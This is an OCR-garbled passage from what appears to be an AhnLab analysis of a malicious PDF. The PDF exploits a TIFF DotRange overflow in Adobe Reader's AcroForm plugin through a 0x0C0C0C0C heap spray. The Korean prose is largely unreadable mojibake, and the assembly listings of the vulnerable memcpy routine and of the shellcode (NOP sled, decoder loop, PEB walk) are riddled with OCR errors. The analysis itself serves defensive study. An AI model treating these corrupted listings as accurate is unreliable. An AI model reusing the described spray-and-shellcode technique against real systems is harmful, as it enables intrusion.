tRange Value H|0|E] 222 C}+2] 0COCOCOC B2 YA RULH.
0COCOCOC &t2 Heap—Spray 7|0 RETt XI5t HEX|HoZ
Ol =l= MIE2| A ZH0[7|= siCt, JZCHH, MX| midS AHAIAL
X| 21 XZ7HX|Q| H0|HE S&tlE= Zd”._fgi ool 32 Alnt

2|RE oflfsl = 4~ QUCH Ofot= TIFF ot oM 2

HH 27HCH 22 DotRange Value 2XME % AEHOZ EALSIHA &
2fof 2|EFARET)L ofl M2l S21(SEH) 42| $IXI7H 0X0COCOC
U= HOMNUX|A E AolCt. watd, 01F 2|Ests TFYoIA RHtA

JZEZ Sa&iA 0/2] MYZF 0X0COCOCOC X|HoZ T2 0| 52

O] HAS|T BZixe] WACT} MBSl RS J1 202 GAED

LIS

S%|(Dynamic) 21517

O™l A ofledet ALZ|2CH 2 AX| S20| 0|F0{X|= X|E Z=ed
2 matytHM B2 S SFAL 24 PDF IS AlA7|H, O

1} 20| AcroForm.api @] TIFFReadire tory £2EI0| HIE2XMo 2 %EM
exploit tif It H|0|E{E mHASHA| ==, 0] M, DotRange Value ZtS

memepy() &5 Sall ABOZ ZASHA EiCt,

Moy ECX, DWORD PTR [ESI+24]
Ah AhnLab MO EAX, DWORD PTR [ESI+28]
SUE EAX, ECX

: MF OWORD FTR [EBEeC], EAX

Y 8 WOy OWORD PER [EBF-B]. EAX

LEA En, DWORD PTR [EBFC]

B SHORT AcroForm.20503145

LER Ef, (WORD PTR [BEP-5]
Mov  EDI. DWORD PTR [EAX]

MO EAX, DWORD PTR [ESI+20]
PLUSH EDOT

AOD EAX, ECK

PLUSH EAX

75 08 FUSH OWORD PTR [EBP:%]

EZ& SZFEEZFF CALL < JMP . AMSVCRE0 .memcpy=
QLD 08 ADD OWORD FTR [EEP+8], EOT
OLFE 24 AO0 DWORD PTR [ESI+241. EDT

(22 2-6] AHOHEZS 2 34

HIO|Ef7F SEAt]7| Fat
HoJM RET A7

SO| ARHO| RES MTHEM a2 ARO| 2

F 0XOCOCOCOC #2= Hof MXl=

2 v 222
2 ¥+

RETURN to AcroFarm.20C29948 f

& AnAhnLab

St 2l BV ™ XHIASEE
dAcZ o2 MY Uz,

BP(BreakPoint)2 ZAO{=2™ H0o| MO{ZTI RET FTA Zf0o| HZXZ|HN

AhnLab V3 Zip
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DCLSFELE| 90 NOP
OCLSFELF| 20 HOF
OCLEFE20| 90 HOF
OCLEFE21| S0 HOF
OCESFR22| 90 HOP
QCLEFB23 an MNOF
GCLSFE24| 30 HOF
OCLSFE2E| 20 HOF
OCLEFB2E| 30 HOF N -
DCISFBZ7 | EBTIA TMF SHORT OC15FB43
OCLSFE29| | SE POF EST

2 PUSH ESI

L] POF EEX
0o ZADE MOY AL, BYTE PTR [ESI]
OCLSFBZE aC 30 CMF ALy Elr]
DCL5FE30 || 74 18 JE SHORT OC15FB4E
OCLSFRIZ| |COED 04 SHL AL, 4
OCLEFE3E| |48 INC EST
OCLSFRIG| |Sa28 MOy AH, BYTE PTR [ESI]
OCL5FE38| |B0E4 OF AND AH, OF
OCLSFEIR| 0204 AOD AL, AH
nc1sFesn| |ssoz MOY BYTE PTR [EBX]. AL
OCISFRIF| |43 INC EBX
OCLEFB40 | |46 INC ESI
OCLSFE41 || EB E IMP SHORT OCL5FE2C
OCLSFB43| BEE ELFFFFFF CALL QCLSFE22 H&-}Ahnl_ab
MCIEFRAA - AR=74 54 AE SHART MNFRAS

(08 2-8] A3t 4

OCLSFE3D| 8203 MOV BYTE FTR [EEX], AL
DCLEFB3F| 43 INC EEX
DCLEFR40| 46 THC EST
OCLEFE4L |~ EE E9 IMP SHORT OC1SFB2C
OCLSFE43| ES ELFFEFFF CALL OCLEFEZ9

G4 AL 20000000 MOV EAX, OWORD PTR F$:[30]
OCLSFB4E| 8B40 0C MOV EAX, DWORD PTR [EAX+C]
OCLEFES1| 8BFO 10 Ll ESI, DWORD PTR [EAX+1C]
OCLEFES4| AD LODS DWORD PTR [EST
OCLESFBSE( SEBFO OB M ESI, OWORD PTR [EAX+E]
OCLEFBSS [« ES 34020000 IMF OC15FD9L
OCLEFESD 5 FOF EAX
OCLEFBSE( SLEC 00020000 | SUE ESP, 200
OCLSFEE4 |  SBFC MOV EDI, ESP
OCLEFBSE| 8577 08 MY OWORD PTR [EDI+8), ESI
OCLEFEER| 8247 10 MOV DWORD FPTR [EDI+10], EAX
OCLEFB6C| FF77 08 FUSH OwWaRD PTR [EDI+E]

65 ECS7030C PUSH 0CO3S7EC

ES C4010000 CALL OCLEFD 2D

2947 1C MOV DWORD FTR [EDI+AC], EAK
DCLEFBTC| FF77 DB PLSH OWORD PTR [EDI+&]
OCLEFEPF| 68 FE22897C PUSH PCES22FE
OCLEFES4 ES B<4010000 CALL OCLEFD2D
OCLEFE8a| 894720 MOV DWORD PTR [EDI+20], EAX
OCLEFESC FFF7 D& FUSH DWORD PTR [EDI+E)
OCLEFESF| &8 AS1POOPC PUSH FCOOLTAS

i #4010000  |CALL - OCLSFD3D A‘h Ahnl_ab
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